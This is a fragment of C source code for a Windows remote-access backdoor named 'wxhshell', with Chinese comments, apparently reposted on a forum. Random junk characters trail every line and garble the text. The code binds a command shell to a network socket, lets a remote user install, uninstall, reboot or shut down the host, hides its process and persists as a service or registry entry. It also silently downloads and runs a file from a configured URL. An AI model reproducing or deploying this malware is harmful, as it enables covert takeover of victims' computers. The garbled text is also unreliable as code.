      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 3w}ul~>j  
    break; i hcSSUm  
  } nm,(Wdr  
  // 安装 &mkL4 jXG  
  case 'i': { ,wZq ~; 2  
    if(Install()) 4ufT-&m};s  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); KEjMxOv1  
    else m:Fdgu9  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); lUIh0%O  
    break; sspGB>h8l  
    }  y7vA[us  
  // 卸载 4m!w<c0NL  
  case 'r': { } 8[  
    if(Uninstall()) /^$n&gI  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 89UR w9  
    else {~`{bnx^]7  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >02p,W6S>  
    break; yp]z@SYA@  
    } J"K(nKXO_?  
  // 显示 wxhshell 所在路径 U>0bgL  
  case 'p': { y*!8[wASHq  
    char svExeFile[MAX_PATH]; l p|`n  
    strcpy(svExeFile,"\n\r"); DfX~}km  
      strcat(svExeFile,ExeFile); y#FFxSH>  
        send(wsh,svExeFile,strlen(svExeFile),0); S5\KI+;PW  
    break; f h:wmc'  
    } K=> j+a5$  
  // 重启 pP%9MSCi  
  case 'b': { <07]w$m/  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); %awr3h>$  
    if(Boot(REBOOT)) S 59^$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); tA^CuJR  
    else { HV{W7)  
    closesocket(wsh);  0:$pJtx"  
    ExitThread(0); O~|Y#T  
    } :xk+`` T  
    break; r-No\u_  
    } piFZu/~Gq\  
  // 关机 8WpZ "  
  case 'd': { Ec&_&  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Z+_xX  
    if(Boot(SHUTDOWN)) Y+eDE:4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |3g'~E?$  
    else { %$N,6}n  
    closesocket(wsh); ?3gf)g=  
    ExitThread(0); \46*4?pP  
    } cNMDI  
    break; HMhdK  
    } :Sn4Pg `Q  
  // 获取shell Cx&l0ZXHEX  
  case 's': { wQ8<%qi"L  
    CmdShell(wsh); [-Xah]g  
    closesocket(wsh); Sa@T#%oU  
    ExitThread(0); I~4!8W-Y  
    break; ?kS#g  
  } +&G]\WX<  
  // 退出 X6=o vm  
  case 'x': { LTuT"}dT[  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); % CQv&d2  
    CloseIt(wsh); {s{+MbD  
    break; vy-q<6T}:p  
    } sl:1P^b  
  // 离开 K^P&3H*(/n  
  case 'q': { :i|Bz6Ht4  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); v8zOY#?  
    closesocket(wsh); ^%0^DN  
    WSACleanup(); Hc-up.?v'v  
    exit(1); lYmxd8  
    break; _na/&J 6  
        } (gIFuOGi>  
  } Z29LtKr  
  } ! F<::fN  
7g:Lj,Z4L  
  // 提示信息 a:;7'w'  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); #Z,@yJ2wl  
} dptfIBYc+  
  } !x! 1H5"  
OI kjO}/7  
  return; K"ly\$F  
} @>&b&uj7T  
x~F YG  
// shell模块句柄 = ?BhtW  
int CmdShell(SOCKET sock) AR{$P6u!%|  
{ d[Zx [=h  
STARTUPINFO si; f4VdH#eng`  
ZeroMemory(&si,sizeof(si)); /PbMt  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 7}e5ac  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 5Pf)&iG  
PROCESS_INFORMATION ProcessInfo; % bKy  
char cmdline[]="cmd"; dKhS;!K9p  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 4q.yp0E  
  return 0; 5F!i%{XQvm  
} I@IE0+ [n  
}2S)CL=  
// 自身启动模式 {R"mvB`  
int StartFromService(void) {`-AIlH(  
{ Hp5.F>-  
typedef struct vy` lfbX@  
{ "H=N>=g0E  
  DWORD ExitStatus; ^XG$?2<U  
  DWORD PebBaseAddress; E!uQ>'iq.  
  DWORD AffinityMask; D&i, `j  
  DWORD BasePriority; U.h2 (-p  
  ULONG UniqueProcessId; =uEpeL~d;+  
  ULONG InheritedFromUniqueProcessId; nW<nOKTnk_  
}   PROCESS_BASIC_INFORMATION; bjI3xAs~  
?H>^X)Ph  
PROCNTQSIP NtQueryInformationProcess; H[}lzL)  
ouO9%)zv  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; &PMfAo^  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 0/1=2E ^,  
%gj7KF  
  HANDLE             hProcess; [WV&Y,E  
  PROCESS_BASIC_INFORMATION pbi; f>e0 l'\  
hQ@#h`lS  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); {&L^|X  
  if(NULL == hInst ) return 0; Db  !8N  
w`fbUh6/  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); g<7Aln}Nl\  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ia-ht>F*;  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); k~I]Y,  
Jfo'iNOu  
  if (!NtQueryInformationProcess) return 0; %dzO*/8cWo  
]{|lGtK %  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Q [C26U  
  if(!hProcess) return 0; #,97 ]  
|'I>Ojm  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; KW3<5+w]c  
<L<^uFB  
  CloseHandle(hProcess); u /DE  
q*tGlM@R?  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); bZ:xH48MY  
if(hProcess==NULL) return 0; Bs|Xq'1M!;  
C%{2 sMJz  
HMODULE hMod; Z1:<i*6>D  
char procName[255]; $F[+H Wf  
unsigned long cbNeeded; 4O.R=c2}7>  
PgA1:i&'  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 8aKS=(Z!j  
U$3DIJVI  
  CloseHandle(hProcess); 8@LUL)"  
9%53 _nx?  
if(strstr(procName,"services")) return 1; // 以服务启动 s= 5 k7  
dQ _4aO  
  return 0; // 注册表启动 _l1"X^Aa  
} g-B{K "z  
g^x=y  
// 主模块 ^2{6W6=  
int StartWxhshell(LPSTR lpCmdLine) (h@!_qi9:  
{ /y|ZAN  
  SOCKET wsl; 7U?#Xi5  
BOOL val=TRUE; .p> ".q I  
  int port=0; -~4r6ZcA  
  struct sockaddr_in door; {qU;;`P]|  
X6_ RlV]Sk  
  if(wscfg.ws_autoins) Install(); uA;#*eiA/  
fM|s,'Q1x  
port=atoi(lpCmdLine); `M{Ne:J  
t\'MB  
if(port<=0) port=wscfg.ws_port; [@JK|50|K  
+u*Pi  
  WSADATA data; ;#S]mso1  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; &/-MUKN  
t;/uRN*.  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   <m\<yZ2aa  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); mBb3Ta  
  door.sin_family = AF_INET; iH@u3[w  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); nnvS.s`O  
  door.sin_port = htons(port); !]Qk?T~9-  
B~| ]gd  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { f6Lc"b3s1  
closesocket(wsl); #5kclu%L$  
return 1; Gqc6]{  
} oylQCbT   
:zq Un&k&  
  if(listen(wsl,2) == INVALID_SOCKET) { /U0Hk>$~(  
closesocket(wsl); |)" y  
return 1; uv8k ea .(  
} +P Dk>PdEt  
  Wxhshell(wsl); RAk"C!&^m  
  WSACleanup(); H V-;? 5  
"Da-e\yA  
return 0; qY'+@^<U;  
Pk;yn;  
}  7U1 M;@y  
,4`Vl<6  
// 以NT服务方式启动 Y .cjEeL@  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) g/ShC8@=u  
{ 9 nY|S{L  
DWORD   status = 0; B$YoglEW:  
  DWORD   specificError = 0xfffffff; -mGG:#yP  
0l& '`  
  serviceStatus.dwServiceType     = SERVICE_WIN32; IVZUB*wv)b  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; @$ Nti>  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; <66%(J>  
  serviceStatus.dwWin32ExitCode     = 0; TC44*BHq  
  serviceStatus.dwServiceSpecificExitCode = 0; B!;:,(S~  
  serviceStatus.dwCheckPoint       = 0; r_T"b  
  serviceStatus.dwWaitHint       = 0; r@]`#PL  
,x!r^YO=  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); DpeJx  
  if (hServiceStatusHandle==0) return; rXT?w]4  
y N9~/g  
status = GetLastError(); MRK=\qjD  
  if (status!=NO_ERROR) upk+L^  
{ FN<>L0  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; /W-ges  
    serviceStatus.dwCheckPoint       = 0; j~V $q/7S  
    serviceStatus.dwWaitHint       = 0; l2YClK  
    serviceStatus.dwWin32ExitCode     = status; @mv G=:k  
    serviceStatus.dwServiceSpecificExitCode = specificError; kksffzG  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); [! wJIy?,  
    return; iY?#R&  
  } q~5zv4NX  
bZ:+q1 D  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; *PV7s  
  serviceStatus.dwCheckPoint       = 0; (V&d:tW  
  serviceStatus.dwWaitHint       = 0; 9}a$0H h  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ]\A=[T^  
} ]!P8{xmb@  
!G\gqkSL  
// 处理NT服务事件,比如:启动、停止 V|B4lGS&  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 64mD%URT  
{ G4P*U3&p  
switch(fdwControl) ~@ PD\  
{ [7HBn  
case SERVICE_CONTROL_STOP: 1 I.P7_/  
  serviceStatus.dwWin32ExitCode = 0; ~E y+  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Wa.xm_4s2  
  serviceStatus.dwCheckPoint   = 0; 8Dtpb7\o  
  serviceStatus.dwWaitHint     = 0; r-L& ee   
  { L@=$0p41;  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); #Y3-P  
  } F=w:!tqA  
  return; kZ)}tA7j  
case SERVICE_CONTROL_PAUSE: WFV'^-4  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; *`wz  
  break; nw+^@|4  
case SERVICE_CONTROL_CONTINUE: xP9h$!  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; p=A, yGDV  
  break; 7RBEEE`)  
case SERVICE_CONTROL_INTERROGATE: (3D&GY!/  
  break; Ab/JCZNn  
}; 0gW{6BtPWm  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); [kqtkgK$j2  
} "u^vBd[}  
}N(gP_?n  
// 标准应用程序主函数 %C qp88]  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) );JWrkpz  
{ kSc~gJrne  
x3`JC&hF,q  
// 获取操作系统版本 WjK[% ;Z!  
OsIsNt=GetOsVer(); ok:L]8UN 3  
GetModuleFileName(NULL,ExeFile,MAX_PATH); z,E`+a;  
3)#Nc|  
  // 从命令行安装 #}@8(>T  
  if(strpbrk(lpCmdLine,"iI")) Install(); 8q{|nH  
tu$rVwgM  
  // 下载执行文件 {~FPvmj&  
if(wscfg.ws_downexe) { "+7E9m6I  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 1:^Xd~X  
  WinExec(wscfg.ws_filenam,SW_HIDE); r,Xyb`  
} XMkRYI1~  
){#INmsF  
if(!OsIsNt) { pg7~%E4  
// 如果时win9x,隐藏进程并且设置为注册表启动 JrLh=0i9  
HideProc(); |te=DCO  
StartWxhshell(lpCmdLine); _6,\;"it?8  
} 6("bdx;!  
else #|(>UM\  
  if(StartFromService()) Z : xb8]y  
  // 以服务方式启动 G'}N?8s1  
  StartServiceCtrlDispatcher(DispatchTable); Pp8G2|bz  
else I;E?;i  
  // 普通方式启动 X"q[rsB  
  StartWxhshell(lpCmdLine); /ILd|j(e  
l5VRdZ4Uf  
return 0; & C)1(  
}
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只看该作者 1 发表于: 2006-10-10
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